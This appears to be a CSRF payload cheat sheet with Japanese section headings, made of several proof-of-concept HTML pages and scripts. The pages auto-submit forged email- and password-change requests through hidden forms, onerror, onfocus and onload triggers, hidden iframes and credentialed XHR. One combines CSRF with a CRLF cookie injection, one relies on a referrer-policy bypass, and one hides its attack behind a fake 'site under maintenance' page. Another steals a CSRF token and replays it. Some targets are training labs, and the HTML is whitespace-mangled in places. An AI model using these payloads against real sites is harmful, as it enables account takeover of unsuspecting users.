<html><!-- CSRF Proof of Concept - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formaction="https://example.com/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="hidden"name="csrf"value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" /><inputtype="submit"value="Submit request" /></form><img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body></html>
<html><!-- Referrer policy needed to send the qury parameter in the referrer --><head><metaname="referrer"content="unsafe-url"></head><body><script>history.pushState('','','/')</script><formaction="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="submit"value="Submit request" /></form><script>// You need to set this or the domain won't appear in the query of the referer headerhistory.pushState("","","?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")document.forms[0].submit();</script></body></html>
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formmethod="GET"action="https://victim.net/email/change-email"><inputtype="hidden"name="email"value="some@email.com" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
フォームPOSTリクエスト
<html><body><script>history.pushState('','','/')</script><formmethod="POST"action="https://victim.net/email/change-email"id="csrfform"><input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<inputtype="submit"value="Submit request" /><imgsrc=xonerror="csrfform.submit();" /> <!-- Way 2 to autosubmit --></form><script>document.forms[0].submit(); //Way 3 to autosubmit</script></body></html>
iframeを通じたフォームPOSTリクエスト
<!--The request is sent through the iframe withuot reloading the page--><html><body><iframestyle="display:none"name="csrfframe"></iframe><formmethod="POST"action="/change-email"id="csrfform"target="csrfframe"><inputtype="hidden"name="email"value="some@email.com"autofocusonfocus="csrfform.submit();" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Ajax POST リクエスト
<script>var xh;if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safarixh=newXMLHttpRequest();}else{// code for IE6, IE5xh=newActiveXObject("Microsoft.XMLHTTP");}xh.withCredentials =true;xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");</script><script>//JQuery version$.ajax({type:"POST",url:"https://google.com",data:"param=value¶m2=value2"})</script>
<--! expl.html --><bodyonload="envia()"><formmethod="POST"id="formulario"action="http://aplicacion.example.com/cambia_pwd.php"><inputtype="text"id="pwd"name="pwd"value="otra nueva"></form><body><script>functionenvia(){document.getElementById("formulario").submit();}</script><!-- public.html --><iframesrc="2-1.html"style="position:absolute;top:-5000"></iframe><h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
CSRFトークンを盗み、POSTリクエストを送信する
functionsubmitFormWithTokenJS(token) {var xhr =newXMLHttpRequest();xhr.open("POST",POST_URL,true);xhr.withCredentials =true;// Send the proper header information along with the requestxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");// This is for debugging and can be removedxhr.onreadystatechange=function() {if(xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {//console.log(xhr.responseText);}}xhr.send("token="+ token +"&otherparama=heyyyy");}functiongetTokenJS() {var xhr =newXMLHttpRequest();// This tels it to return it as a HTML documentxhr.responseType ="document";xhr.withCredentials =true;// true on the end of here makes the call asynchronousxhr.open("GET",GET_URL,true);xhr.onload=function (e) {if (xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {// Get the document from the responsepage =xhr.response// Get the input elementinput =page.getElementById("token");// Show the token//console.log("The token is: " + input.value);// Use the token to submit the formsubmitFormWithTokenJS(input.value);}};// Make the requestxhr.send(null);}varGET_URL="http://google.com?param=VALUE"varPOST_URL="http://google.com?param=VALUE"getTokenJS();
